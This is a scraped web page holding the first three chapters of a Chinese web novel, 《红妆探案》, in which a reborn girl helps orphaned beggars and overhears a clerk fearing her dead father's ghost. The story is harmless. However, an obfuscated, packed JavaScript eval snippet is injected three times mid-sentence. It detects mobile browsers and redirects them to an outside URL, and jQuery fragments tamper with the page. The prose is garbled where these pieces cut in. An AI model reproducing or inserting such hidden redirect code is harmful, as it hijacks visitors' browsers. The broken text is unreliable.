《红妆探案》 1. 第 1 章 窗户才开始泛白,耳边已有了细碎的动静。 那是门被推开的吱呀声,院子里小声说话的声音,还有厨房里叮叮当当的磕碰声。 床上的邢姝砚挣扎着从梦中醒过来,鬓边已经汗湿,被清晨的冷气一浸,立马变的湿冷。 她长长的吁了一口气,把被子往头上拽了拽,呼吸间都是皂角的香气。 皂角,她前世在孤儿院的时候也用过。 那时候物资不丰,孩子们洗头洗澡洗衣服用的都是皂角,不想在这里也会遇到。 封藏的记忆被撬起一个小角,里面包裹严实的回忆慢慢流淌了出来。 前世,她生下来就被送到了孤儿院,从没见过爸妈,孤儿院的妈妈就是她的亲人。 她身体不好,瘦瘦小小,抢又抢不过其他人,从小就学着看人脸色判断对方的心情和接下来的行动。 长到十八岁,孤儿院不能再住,她搬出了那里,也失去了自己的家。 住过地下室,也租过床位,蹭过火车站的长椅。身边的家当,来来回回只有那一小包,拎起来就能走,放到哪里都不成家。 她曾经想过,为什么别人有爸爸妈妈自己却没有,是他们不要自己了,还是从一开始他们就没了? 孤儿院里的前半生,她告诉自己:“如果爸爸妈妈找到我,我一定会做最乖的小孩,好好学习,将来报答他们,让他们一辈子都有花不完的钱。” 出入社会的前几年,她告诉自己:“如果爸爸妈妈来找我,我一定会报答他们,替他们完成所有的愿望,让他们以我为骄傲。” 在社会上摸爬滚打却挣不脱樊笼的十数年之后,她告诉自己:“如果我的生身父母出现,我一定会告诉他们我永远恨他们。” 只可惜直到生命的最后,这个愿望也没有实现。 邢姝砚又往被子里缩了缩,暖暖的被子盖住眼睛,遮住下面的一抹潮湿。 正暗自伤神,就听房门被人推开,一阵细微的脚步声走到床边,接着一只大手轻轻掀起她脸上的被子,手指擦过她的额头,略带粗糙,却温暖。 邢姝砚屏息凝神,动也不敢动,只感觉额头上被人仔细探了探,接着又听一个声音长松一口气,“终于退烧了。” 邢姝砚睫毛扑簌簌动了动,并没有瞒过那人的眼睛。 对方笑着捏了捏她的脸,“醒了就快起,饭马上就好,一会儿再吃一剂药就好利索了。” 邢姝砚睁开眼睛,看着上方妇人温和的笑脸,本也想笑来着,嘴角却怎么都扯不起来,最后直直的耷拉下去,成了一副委屈的样子。 “娘!”她叫。 “哎!”妇人把被子掖到她颌下,再摸摸她的头,眼里满是慈爱。 邢姝砚嘴巴更扁了,等了一世的亲人,在这个时空,终于等到了。 饭桌旁只有三个人,亲娘丁秀兰,亲哥哥邢书同,还有邢姝砚自己。 这个家里并没有男主人,邢姝砚的亲爹邢归鸿从前在县衙当书吏,两年前殉职,最近家里刚刚出孝。 孤儿寡母的难守家业,刚一出孝,先是邢家族人来闹腾,再是丁家也来凑热闹。 邢家族人想接邢姝砚和邢书同回族里教养,并收回邢家在清水县城的房子,至于丁秀兰则要大归要回到娘家去。 丁家也想要邢家的房子家财,只是名不正言不顺,于是想了个寡妇再嫁的主意,想把丁秀兰嫁出去,再顺便接手她的一双儿女,至于房子则代为“保管”。 人前都是一张脸,背地里的吃相却难看的让人作呕。 好在邢家三个人都不是软柿子,一边惊动衙门,一边请了邢姝砚的祖父和丁家族长过来,这才把一场风波平息了下去。 经此一事,家里有些伤元气。 邢书同常年卧病,本来调养的不错了,结果又来了一个反复。 邢姝砚更惨,正赶上倒春寒,被雨加雪淋了一头一脸,又受了风,没及时擦干,晚上便发起烧来,到早上被发现时已经烧的晕死过去,把一家人差点吓死。 也是这段经历,让她觉醒了前世的记忆,也觉醒了藏在记忆深处的惶恐和疼痛。 三人吃完早饭,丁秀兰把两人赶回自己房间去,自己将两个孩子的药材都煎上,又打扫厨房,等厨房都收拾完又急急的去洗衣裳。 衣裳不是邢家人自己的,是丁秀兰特意找的浣衣的活计,自备盆、水和去污的皂角,给的银钱却并不多,两大盆衣裳只有五个铜板。 中间还要时不时查看煎药的炉火和汤汁,忙的简直像个陀螺。 邢姝砚想要帮忙,却被丁秀兰勒令不准动弹,只能一边干看着一边心疼。 想到前世有生病多喝水的说法,于是便抱着水碗不撒手,生生灌了两天,终于把自己灌好了。 好了后去帮丁秀兰的忙,结果只两天不到就手不是手脚不是脚,疼的几乎动弹不得。 咬牙又撑了两天,终于把这一批衣裳赶了出来,去结帐的时候管事却以没洗干净为由扣下了十个铜板。 十个铜板就是四大盆衣裳,中间要打水要搓洗要晾晒,每个铜板里都浸足了血汗。 邢姝砚气的小脸通红,想上前理论,却被同去的丁秀兰一把拉走。 “娘,怎么可以算了?那可是十个铜板!” 丁秀兰把女儿鬓边的头发往后理了理,眼神疲惫,安抚她:“忍忍就好了。” 忍忍吗? 邢姝砚有些恍惚。 握着丁秀兰粗糙的手,像握着一把快用秃了的刷子,蹭的人手心疼。 家里快没米了,盐也不多了,两人没直接回家,而是拐去了常去的一家粮铺。 粮铺的小伙计见两人过来,赶忙迎了上来,殷勤的问要点什么。 丁秀兰熟门熟路的道:“三升陈米,一两盐,黄豆再来五斤。” 小伙计大声答应一声,去铺子里面装粮食,邢姝砚抬头朝上看了看,见铺子匾额上端端正正四个大字:丰德粮铺。 迈动脚步进去,见粮铺里整整齐齐的堆放着小米、稻米、黍米、麦面、高粱和各种豆子,种类并不太多,却有着粮食特有的香气,比上一世吃过的米面都好闻。 小伙计把陈米装好放在一边,邢姝砚过去看了,见米明显比新米黯淡的多,香味也淡淡的,几乎没有。 “小二哥,这米多少钱一升?” 小伙计回头看了一眼,擦了把头上的汗,笑道:“十五文,您放心,咱们铺子是最公平的,从来不乱喊价。” 一升十五文,三升四十五文,哪怕是最便宜的陈米也花去了将近一半的工钱,除了米,还要盐,要油,要酱,要哥哥的草药…… 数着数着,邢姝砚眼前就是一黑。 这几年守孝,家里没法出来走动,花用的也都是旧年的存银,实在不够了就典当几个粗笨物件,倒从来没细思量过,形势已经到了这种地步。 从粮铺里出来,邢姝砚一张脸灰白灰白,人比来时也更沉默了,吓的丁秀兰以为她病情反复了,差点把她拽药铺里去。 晚饭时强撑着吃了些,第二天早上还觉得堵的慌。 吃过早饭,打扫完院子,邢姝砚借口出去转转,出了大门。 邢家所住的小四合院座落在杏花巷,杏花巷靠近清水县城东城门,出城极为方便。 出了巷子往北不远就是两泊湖水,紧靠着东城墙的是东湖,东湖西边紧挨着文庙的,因为沿着湖岸种了一圈柳树,人称“柳湖”,倒把原来的名字忘了。 从文庙出来,沿着东门大街往西就是驿馆,驿馆北边隔着一条阔路的便是清水县衙。 县衙门前有一座极为高大的斗拱式牌坊,南面题字“枕带山河”,北面题字“承流宣化”。 想来父亲邢归鸿当初上值的时候日日都要经过此处吧? 邢姝砚呆呆的站在宣化坊下面,看着对面县衙的八字大门沉思。 半晌哂笑一声,想这些有什么用呢,父亲已经不在了,自家和县衙也没什么关系。 转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546160|204160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身离开,却不见对面衙门口一个身穿差服的公人往这边看了一眼,嘴里还咦了一声:“这不是邢家侄女吗?” 有了前世的记忆,哪怕邢姝砚这具身体只有十二岁,却也拥有了老辣的目光,再看这座从小长大的小小县城,已经有了不一样的感受。 青水县城不大,街上却颇为热闹。 酒肆的伙计使出浑身解数招呼客人进店,饭庄的后门处挤着两伙乞丐正争一点残羹剩炙,卖面的摊子挑出一个大大的幌子,胖胖的老板正招呼客人落座。 茶水摊子上的客人一边喝茶一边闲坐,旁边代写书信的小书生正仔细研墨,对面吹糖人的老汉给牵着小娃娃的青年找零,不妨旁边转过一辆大车来,车上货物载的太多,倒把糖摊子刮倒了,老汉不依和车夫理论起来。 西边耍猴的咚咚咚敲着小鼓指挥着穿肚兜的小猴子作各种动作,卖兔子的提着兔笼也来看,还和旁边卖皮货的搭话。 皮货摊子上无人看守,几个挑中的客人找不到货主,急的团团转,还是街边几个小乞丐看见了,从猴摊子上把皮货商人叫回来。 买了豆腐回家的妇人路过打铁铺子,进去询问能不能磨刀,刚出了门又被隔壁米铺的伙计拉着推销自家好米。 除了这些,还有挑担子的、推小车的、提着果子来回叫卖的、说书的、迎亲的…… 各种嘈杂的声音混在一起,成了世间最热闹的烟火气。 邢姝砚站在街边,仔细看着这一切,心中十分感慨,完了要离开时,却听耳边传来一道声音:“你……你不是邢家那谁吗?” 邢家? 邢姝砚转身,循着声音来处看去,却见说话的是一个瘦瘦高高的乞丐,看年岁比自己大一点,头发蓬乱,脸却不太脏,一双眼睛极亮。 邢姝砚指指自己,“你是在……叫我?” 乞丐赶紧点头,凑了过来,伸手扒拉开盖住眉毛的乱发,急切的道:“是我啊,常三,之前也住杏花巷的,想起来了吗?小时候我们还一起玩过呢。” 邢姝砚仔细回想,好半天才从记忆深处抠出那么一段画面,确实有一户姓常的人家住的离自家不远,只是后来不知为什么搬走了,房子也卖了。 “你怎么……”混成这样了? 像是听清了邢姝砚未尽的话语,常三眼神暗了下来,“不说那些个了,没意思,倒是好多年没见着你呢,听说……邢先生他……出事了?” 邢先生说的就是邢归鸿,他学问不差,又有耐心,当年杏花巷的好些个孩子跟他学认字,常三也是其中一个。 说起家里的事,邢姝砚沉默。 常三挠挠头,“我听到消息后回去过,只是当时先生已经出殡了,见你家在守孝,便没打扰。” 又问:“家里现在可还好?怎么样了,可找着了赚钱的营生?还有你哥哥,现在还在读书吧?” 说起来,邢书同便是常三最羡慕的人。母亲慈爱,父亲能干还有学问,下面还有一个可爱的小妹妹,一家人和乐融融。 他曾幻想过要是自己就是邢书同该有多好,想读书就读书,想写字就写字,每天都能吃饱,不像自己家,每一顿饭都得算计着。 只是这个念想也没维持多久,不到一年家里就出事了,至此离开杏花巷,那个记忆里琅琅读书的声音从此只在梦里出现过。 说起赚钱这个事,邢姝砚也有些为难,本来想着出来转转,看看有没有什么能做的营生,谁知看来看去只发现两条路子。 一是贩货卖货,这个倒是赚钱,可是需要成本。 二是出卖手艺,像支个小摊子卖吃食,或是吹个糖人滚个糖葫芦,哪怕是拿草编个小兔子什么的,可她…… 手残党伤不起! 像是看出了她的想法,常三脱口而道:“要不你跟着我吧,我带你赚钱。” 邢姝砚:“……” 还没等她说话,旁边就蹿出一个六七岁的小乞丐来,激动的直嚷:“帮主,这就是你给我们找的副帮主吗?” 2. 第 2 章 副帮主什么的实在令人羞耻,而且邢姝砚也没做好准备去当一个乞丐婆子。 她想着,实在不行就去给人帮工吧,或者赁去做丫鬟也行。 只是这两个都不得自由,家里病的病弱的弱,且走不开。 常三这次没看出她的想法来,兴致勃勃的拉着她述说自己的“宏图大业”,还没说到一半,就听旁边传来重重的一声嗤笑。 常三像被捏住嗓子的猫,脸一下子红了个彻底,用力扭过头去,恨恨的瞪了对方一眼,“有什么可笑的?谁心里没有个志向,乞丐怎么了?乞丐难道就要混吃等死吗?” 对方比常三邋遢的多了,正翻着膀子在破衣裳里捉虱子,闻言更是好笑,“不混吃等死难道去做大将军?常三你还认不清自己身份呢?” 话刚说完,这人身后就传来一片哄笑声。 “常大帮主和咱们是不一样,人家可是好出身,还认过字儿的。” “可惜时运不济,倒落的和咱们一样了。” “依我说,志向有什么用?志向能出头吗?要是志向能出头,我就去做县令了,八抬大轿,威风凛凛,吃香喝辣,还能封常大帮主做个将军!” 这话一出,哄笑声更大。 常三一张脸红的几乎要滴出血来,直接对准了捉虱子的那个乞丐,“冯麻子,您这是什么意思?你是想开战还是管不住手底下人,你要是管不住手底下人我来替你管?” 冯麻子脸上稀稀拉拉的落了几颗麻子,眼角有一条长长的疤,直入鬓角。 他吹了个唿哨,把怀里的破衣裳重新穿回去,看了身后的乞丐们一眼,对常三道:“可不敢劳你大驾,我的人我会管,不过这回可不是我挑事。” 说完,他眼睛看向地面,示意。 邢姝砚顺着他的视线往地上看,却见干干净净连个石头子儿也没有,倒是旁边的常三猛的往后退了一步。 冯麻子又打了个唿哨,抖了抖肩膀,“小的们,巡街去喽!” “巡街!巡街!”属于他的那帮人一边嚷嚷着一边跟着离开。 邢姝砚一头的雾水,不明白刚才还杠上的两伙人怎么就走开了,常三忙给她解惑。 他们站立的地方是吉祥当铺的墙角,隔壁就是万荣酒楼的后门,常三拿脚在当铺和酒楼中间交界的地方画了一条线。 “东边是咱们的地盘,西边是冯麻子的地盘,说起来是我越界了。” 邢姝砚看的直咋舌,“分的这么细吗?” 常三:“没办法,抢生计的太多,不分不行,不分就得打起来。” 邢姝砚想起冯麻子眼角那条长疤,心中了然,“所以你的地盘是在东边?” “从南边的文昌庙到北边的花行街都是我的地盘,就是城外的成福寺和玉虚观都要仰仗我嘞!” 这牛吹的,让邢姝砚好一顿笑。 常三挠挠脑袋,“你别笑啊,我说的是真的,你要不要和我合作,你识文断字儿的,点子肯定多,咱们一起赚钱啊!” 邢姝砚想起刚才冯麻子的话,确定了常三确实有一颗向上的心,毕竟哪个乞丐总想着搞副业啊? 见她不说话,常三有些泄气,“算了,你不愿就不愿吧,跟我们这些人待在一起确实不好听。” 邢姝砚问:“你缺钱?” 这话问出来她就后悔了,她自己还缺钱呢,别说常三了。 “唉!”常三长长的叹了口气,“手底下又多了两个小家伙,还没断奶,太难养了。我想着要是能赚到钱就养着,要是没法养就丢到成福寺去,他们家大业大,总不会少了两个娃娃吃的。” 邢姝砚一开始听他说“小家伙”还以为是小猫小狗之类的,哪想他说的竟是两个奶娃娃,一时有些悚然,忍不住问:“怎么会有小孩跟着你?没大人养吗?” 常三伸了个懒腰,无所谓的道:“一直都这样啦,小娃娃一茬一茬的丢出来,一茬一茬的死,能活下来的都是少数。花行街的柳妈妈倒是想养两个小孩,说是将来预备着给自己养老,可我想着她们那行当,不定什么时候就成了龟公,还不如在乞丐窝里待着呢!” 邢姝砚只觉得后背汗津津的,一阵阵发凉。 清水城什么时候变成了这个样子? 还是一直都是这个样子,只是自己不知道? 常三手底下有十六七个乞丐,加上两个小的,总共二十来人,日常守着饭庄酒肆门口,等着好心的店主施舍一点残羹冷饭,再不就是去城外砍一点柴火拿到城里来卖。 砍柴的斧头是贵重家什,他们只有一把,哪怕日日不辍,也砍不了多少柴。 至于帮闲跑腿之类的营生也没他们什么事,都是半大小子,个个瘦的皮包骨头,也怪不得常三一颗心都快钻到钱眼里去了。 邢姝砚确认他没什么坏心思之后,还跟着去了一趟花子窝,就在东湖边的一个夹角处,那里原来有一处院子,后来不知为什么废弃了,年深日久都快朽烂了,只剩下半爿屋顶还在支棱着。 这里紧靠着东湖,夏天潮湿冬天冷,看着他们破破烂烂的衣裳,邢姝砚都无法想象他们是怎么熬过这一年又一年的。 常三个是干净的,他手底下的乞丐也都不脏,只是破。 见邢姝砚进来,一个个局促的站起身来,还把被太阳烤的最热的一块石头让给她坐。 邢姝砚前世是在孤儿院长大的,此时见这些名为乞丐实为孤儿的人,一颗心又酸又涩,难受极了。 实在是没法视而不见,稍稍了解了一下,她干脆给常三出了几个馊主意。 “总有那人没了却家资尚可后代不丰的人家,挑几个乖巧懂事的给人哭灵去,总能混顿饱饭。” “还有在县里做买卖又一时打不开局面的,找几个人去当托,帮着把局面撑起来,应该也能赚几个银钱,只是先头就要瞧好了,心术不正没有德行的人万万不可往里掺和。” 常三眼睛亮晶晶,头点的跟啄米的小鸡似的,生怕哪一个字听漏了。 就说读书人点子多,自己在这儿混多少几年了,愣是只学会了要饭,脑子呢?脑子在哪里? 邢姝砚继续:“你对这周边熟悉,哪户人家待产,哪户人家身体不好,心里应该都有数,让闲着的小子们留意着,一旦人家需要就帮着跑个腿,也能结个善缘。” 常三乐的直拍大腿,何止是结个善缘啊?搞不好,红鸡蛋都能吃上了。 “还有呢,还有呢?还能做什么?” 邢姝砚快被他气死,“你容我想想好不好,我又不是神仙,一眨眼一个点子。你先把我说的那些合计合计,要是可行就去做,要是不行再想别的办法。” 被她吼了一顿,常三热的发烫的脑子终于降温了。 “嘿嘿,可行,可行,就按你说的办,我带他们试试,要是真能蹚出条路子,大家就都能活了。” 旁边听到两人说话的乞丐们全都用亮晶晶的眼神看着邢姝砚,邢姝砚一见,几乎落下泪来。 把该嘱咐的嘱咐完,见太阳已经升到了正中,她站起身来,想要离开。 常三承了她大情,有心请她吃东西,可这里破破烂烂,能有什么好吃的,只得道:“等我安顿好小的们,请你去成福寺吃豆腐宴啊!” 成福寺的斋菜很有名,一道豆腐宴尤为出彩。 斋菜本就不收钱,常三也就讨个嘴彩。 邢姝砚也没嫌弃,点头同意了。 - 成福寺在城外,离着东城门不过两三里地,只是进寺先要爬一段山。 山名青玄,山腰处有一成福寺,山颠有一玉虚观。 青玄山并不算高,山体起伏舒缓,没有尖锐的锋芒,只以圆润的轮廓承接天光,自有一番沉凝厚重的气象。 邢姝砚打扮成少年装束,和常三还有他手底下一个名唤小六子一起爬到半山腰,太阳才升起一小截。 “咱们是不是来的有点早?”常三问。 “早吗?”邢姝砚快走几步,喘着气问:“早起的鸟儿有虫吃,你不早出门窝在家里干嘛?” 常三想了想,“喂奶?” 邢姝砚差点被他一口噎死,就多余问这一嘴,“上山后,我们洗漱整理一下,我记得山上有泉眼,顺便再打一捆柴。” 小六子紧了紧腰上别着的斧头,“一捆柴卖不上价,等明天……明天多打两捆。” 邢姝砚没告诉他柴有什么用,只让他准备着。 几个把自己打理出个人样子,又砍了一捆柴背着,也没走成福寺前的山门,而是直接敲了寺院后门。 后门有值僧,听到敲门声,开门一看,外面是三张略显稚气的脸,其中两个还是熟脸,常常来寺里混斋饭吃。 僧人念了一声阿弥陀佛,告诉他们后门不可进,让他们去前面走山门。 邢姝砚脸上堆着笑,指指小六子背上的一捆柴,对僧人道:“这是我们专门砍来的,之前对贵寺多有叨扰,寥寥心意,还望不要推辞才好。” 那捆柴扎的又多又密,挑的都是小儿手腕粗风干了的好柴,足见心思。 常三和他手底下之前都是空着手过来蹭饭,这次竟然还带了布施,僧人脸上明显和缓了些,又有些踌躇。 邢姝砚赶紧又道:“山门离此颇远,这柴有些重,要不我们把柴放进去,再走一趟山门也是使得的。” 小六子擦了一把头上的汗,嘿嘿笑道:“没事的,我有劲。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546161|204160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 有劲也不是这么个用法,僧人也不是无情之人,又念了一声“阿弥陀佛”,侧身让开。 三人从后门进去,在僧人的指点下把柴放到了香积厨,见和尚们烧火的烧火,做饭的做饭,他们愣是一丁点插不上手,空转了一圈,讪讪的出来。 站在廊下转目四看,见旁边供奉的就是监斋菩萨,邢姝砚心道这可是负责管饭的菩萨,不敢怠慢,赶紧进去上了柱香,常三和小六子一见,也忙跟着进去。 从监斋菩萨那里出来,邢姝砚问常三:“你之前来过寺院后面吗?” 常三摇头,“以前都是从正门进来的,最多只到这里,后面不让进。” 他揉揉鼻子,不好意思的道:“都是吃过斋饭就走,慧明大师是个好人,从不赶我们,也不嫌我们脏。” 慧明大师是成福寺监寺,总揽庶务,膳堂也归他管。 他若同意常三等人在这里蹭饭,其他僧人自然也无疑义。 成福寺的豆腐宴怪不得被人称赞,真的是一绝,邢姝砚嘴里的还没咽下去,又开始想念下一次了。 她又盛了一勺豆腐,嘴巴里塞的满满的,嚼嚼嚼,一个不经意抬头,竟发现满膳堂里都是光头,头顶发黑的只有她和常三小六子。 咦? “怎么没其他香客吃饭?”她问。 常三吃的头都不抬,含混着道:“这里是内膳堂,香客吃饭在外膳堂。” 再看周边头顶光溜溜的或老年或中年或青年或少年的和尚,邢姝砚差点咬到舌头,她是……怎么混到和尚堆里的? 哦,想起来了,走后门来的。 常三对自家的待遇早就习惯了,“没事,我们一直是在这里吃饭的,对吧,小六子?” 小六子点点头,“大师们人很好的。” 看出来了,邢姝砚心道,这成福寺明显没把常三几个人当外人看啊! 吃饱喝足,又抢着去收拾洗碗,和尚们愣是没抢过他们。 常三抱着一摞脏碗,咂着嘴回味余味,“今天吃的好饱。” 小六子摸摸肚皮,满足的附和:“肚皮都要撑破了。” 邢姝砚又想起了心里的疑惑,“你们和寺里的僧人真没什么关系?比如谁是慧明大师外甥什么的?” “真的没有啊!从不认识。”常三回答。 这就太奇怪了,邢姝砚心道,虽然出家人慈悲,可也没有把普通人当成自家人看待的,哪怕常三他们比平常人更可怜。 打扫完膳堂,又把厨下扫拾干净,邢姝砚捂着腰站了一会儿才缓过劲来,心里直喊托大了,早知道不该拒绝和尚们帮忙的。 从香积厨出来后,她想去后面转转,毕竟从来没去过后院,刚才走马观花什么都没注意到。 听了她的想法,常三也是兴致勃勃,比她还要上心些。 绕过荷花池旁边的小路,刚想再往后,兜头就撞到一个老和尚。 他年岁很大了,穿着普普通通的僧衣,长相也是普普通通,只一双眼睛,湛然有神。 遇到邢姝砚三个,先合掌念了一声“阿弥陀佛”,眼神再抬起时略过常三和小六子,直接落在邢姝砚身上,一时呆了。 眼底里光芒在闪动,也看不出喜悦还是忧虑,像是有无数的话想说,刚想细看,又觉得眼神平静如水。 很奇妙的感觉,像是从里到外被人看了个通透。 邢姝砚打了个冷颤,好生不自在,匆匆行了个礼,想就此离开,却不想老和尚发话了。 “贫僧了空,见施主与佛门有缘……” 了空? 这个名字一出,可不得了。 了空可是成福寺住持,在清水县这一片名声赫赫,可不是什么小人物。 邢姝砚三个均被吓了一跳,神态也更恭谨了。 邢姝砚咂摸着了空刚才的话,与佛门有缘?莫不是想让自己出家吧?顿时更紧张了。 她赶紧后退两步,绷紧身子道:“大师,我……我不出家。” 常三正在一边看稀奇,不防被邢姝砚的话吓了一跳,顾不得饭食父母就在眼前,上前两步挡在邢姝砚身前,结巴着道:“大……大师,她不……不出家,不好强买强卖的啊!” 了空被都他气笑了,大袖轻轻一拂,没见手上有多少力道,便把常三拂到一边去,差点没跌个狗吃屎,顺便再上前一步,伸手在邢姝砚头顶上轻拍一下,嘴角牵出一抹似有似无的笑意,“有时间的话,不妨去地藏殿看一看。” 地藏殿供奉的是地藏菩萨,地藏菩萨是幽冥教主,承担着度化众生的责任。 邢姝砚这个带着前世记忆没被度化了的“刺头”只觉后颈一凉,莫不是老和尚看出什么来了? 3. 第 3 章 地藏殿在大雄宝殿东侧,主供地藏菩萨,两边有道明、闵公两尊塑像,东西两边的墙壁上画着地狱十王壁画。 地藏菩萨敛目低垂、平静慈悲,像前桌案上供奉着香花宝烛、供品鲜果,香炉里青烟袅袅,供桌前侧一排长明灯静静燃烧。 已经过了午时,这里没有其他香客,只有邢姝砚三人。 常三在里面转了转,便没了兴致,想要出去走走,小六子自然跟他一起。 邢姝砚想起了空大师叮嘱自己来地藏殿的话,没跟着走,和他俩约好一会儿大门口见。 等两个都离开,只剩下她自己后,邢姝砚才觉得里面静的有些吓人。 为怕胡思乱想自己吓自己,先去地藏菩萨跟前上了柱香,磕了俩头,把会念的经文颠三倒四念了两遍,想了想,又祈祷一些让菩萨保佑自己和家人之类的话。 完了无事可干,便起身去观察这里的布局和陈设,先去看了东西两边的地狱十王壁画。 十王分别是秦广王、楚江王、宋帝王、五官王、阎罗王、卞城王、泰山王、都市王、平等王和转轮王。 邢姝砚听的最多的便是阎罗王,便从这幅壁画开始看。 壁画是彩绘的,十分逼真。 画面分成上下两个部分,宽袍博带神色威严的阎罗王和属官们高居上侧,下侧则是幽魂受审受罚的画面,有上刀山的,有下火海的,也有捆住手脚被小鬼儿开膛破肚的,小鬼儿拿钩子钩出幽魂心脏,把心脏细细的切好喂给毒蛇,肠子则扔给野狗吞食。 壁画画的太过精细,邢姝砚看完只觉得心里毛毛的。 她有了前世的记忆,知道自己已经活过一辈子,忍不住总是想自己是不是也曾经历过这一遭。 想着想着,汗毛都竖起来了,用力搓了搓胳膊,不敢再看,跑去地藏菩萨跟前。 地藏菩萨是彩塑像,座下神兽谛听,谛听虎头、独角、犬耳、龙身、狮尾、麒麟足,传说“片言可以折狱”。 这里的谛听像不知是塑的个子太高了还是怎么着,为了不挡住上面的菩萨,竟生生往下坠了一大截,供桌倒把谛听的腿给遮住一多半。 邢姝砚看的好笑,忘了之前汗毛之竖的惧怕,忍不住想要是把供桌下面的帘子掀开,是不是能看见谛听的四条腿?也不知是怎样的形状,是蜷曲着还是直溜溜垂下来四根柱子? 一边眯着眼睛笑一边拿眼神比划,像是要找出佐证的证据来。 这么看着,倒真让她找出一点不同来。 不是谛听的腿,而是帘子下边似乎压着什么东西。 心里实在好奇,扭头看看左右无人,赶紧掀开帘子,脑袋就往里面探去。 这下看清了,下面压着的不是别的,而是一本经书,抽了两下抽不出来,原来被供桌的腿给压实了。 再往里看,不光是这一本,还有两本在里面躺着,看上面沾的灰,明显有些日子了,不知是谁落在这里的,也不知打扫的和尚怎么就没发现。 邢姝砚闲的无聊,正好想找点事给自己干,于是便钻到桌案下面去捡那两本经书。 手一松开,厚厚的帘子便垂落下去,把里面遮了个严严实实,黑乎乎的什么都看不见。 她歪着脑袋,脖子也伸不直,和肩膀成一个夹角顶着桌面,艰难的摸索着往里挪,好不容易摸到了经书,把上面的灰拂了拂,正要钻出去,就听外面啪嗒啪嗒的脚步声响起。 有人进来了。 这个时辰和尚们都不会过来,来的只可能是香客。 邢姝砚蹲在那里,好生为难,想要出去吧,又怕说不清自己钻在供桌底下做什么,只好继续待着,心里祈祷那人快一点,自己好早点出去。 供桌上咔哒咔哒的声音响起,邢姝砚猜是这人在摆供品香烛,接着又没声音了,她再猜这人现在该是在上香。 沉默了一阵儿后,脚步声再起,从供桌中间移到了供桌右边,邢姝砚这回猜不透了,右边有什么呢? 正在仔细回想,就听脚步声又回到了中间,接着,那人像是被什么绊了一下,脚步一拐,脚尖踢起半幅帘子。 光线一下子钻了进来,借着这光线,邢姝砚也看清了那人脚上的泥鞋窄袜,这是县衙里差役才穿的,并不是普通百姓的鞋子。 原来是个公人? 因为父亲的缘故,邢姝砚对衙门里的人都抱着一份亲近的心态,知道这人是父亲的同僚,更加没办法出去了,只能安心待着。 只是歪着脑袋实在累的紧,两条腿屈缩着也是又痛又麻。 那人大概是做完了前期的准备,开始在菩萨前祷告。 他声音虽小,但因跪着的蒲团在最前面,离桌案极近,是以邢姝砚听的一清二楚。 “南无大愿地藏王菩萨,弟子心怀至诚,愿将心中所愿,一一向您诉说:一愿父母安康如松柏长青,二愿弟子前路平顺业障尽消,三愿我儿平安长大前程似锦,四愿……四愿……” 那人前面说的顺溜,到了第四个愿望的时候却总是卡壳,邢姝砚不由的替他着急。 你倒是快说呀,要是想不起来,也不一定非求原来的那个,随便求一个什么都好啊! 再求不出来,我就真的支撑不住了,要是闹出动静来,大家都不好看啊! 邢姝砚蜷缩在桌案下面,不光腿脚又酸又麻,就连脖子和腰也疼的厉害,感觉像是要断掉了。 那人结结巴巴说不出最后一个愿望,她却等不了了,梗着脖子小心的换了个姿势,想再苟延残喘一会儿。 两条腿一动,腰就会动。 腰一动,脖子就要动。 脖子一动,脑袋就会动。 脑袋一动,顶上的桌案就跟着动。 咔哒,虽只响了一声,在这个足够安静的大殿里,也足够吓人,更何况那还是菩萨面前的供桌。 外面那人似乎吓着了,一个劲的在那儿磕头,砸的蒲团砰砰作响,想也知道用了多大的劲。 里面的邢姝砚也吓着了。 天! 这桌案得多轻才会被脑袋顶起来啊? 要知道上面可还放着不少东西呢! 成福寺的和尚也是不容易,竟能找着这样轻便的木材,也不怕哪天被香灰压塌了吓着菩萨? 正想着自己作的孽自己收场,出去好好跟人道个歉,也省得把人吓病了。 菩萨面前可不敢弄鬼。 刚动了动脚要出去,就听外面那人嘴里嘟嘟囔囔、语速极快的道:“归鸿兄弟,我知道是你来了,你不要吓我,这事跟我没干系,我一点都不知道,不是我害的你,你不要找我了!真的不是我,求求你,放过我吧,放过我吧……” 归鸿? 邢姝砚愣了一下,父亲的名字也叫归鸿,他说的是父亲吗?还是只是同音的字? “……我尽力了,我真的尽力了,我每年都给你祭祀,从没缺过,还给你在佛着点了长明灯,日日明光普照,给你积福。我……我还让我儿子认你当干爹,真的,我尽力了,你别怨我了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546162|204160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别再到我梦里来,别来了,求你别来了,邢归鸿,你放过我吧……” 邢姝砚听到这里,一下子脱了力,再也支撑不住,噗的坐到了地上,溅起一片浮灰。 鼻子里痒的想打喷嚏,眼睛里却酸的想流泪。 她拼命忍着,忍到浑身发抖。 却原来,真的是父亲? 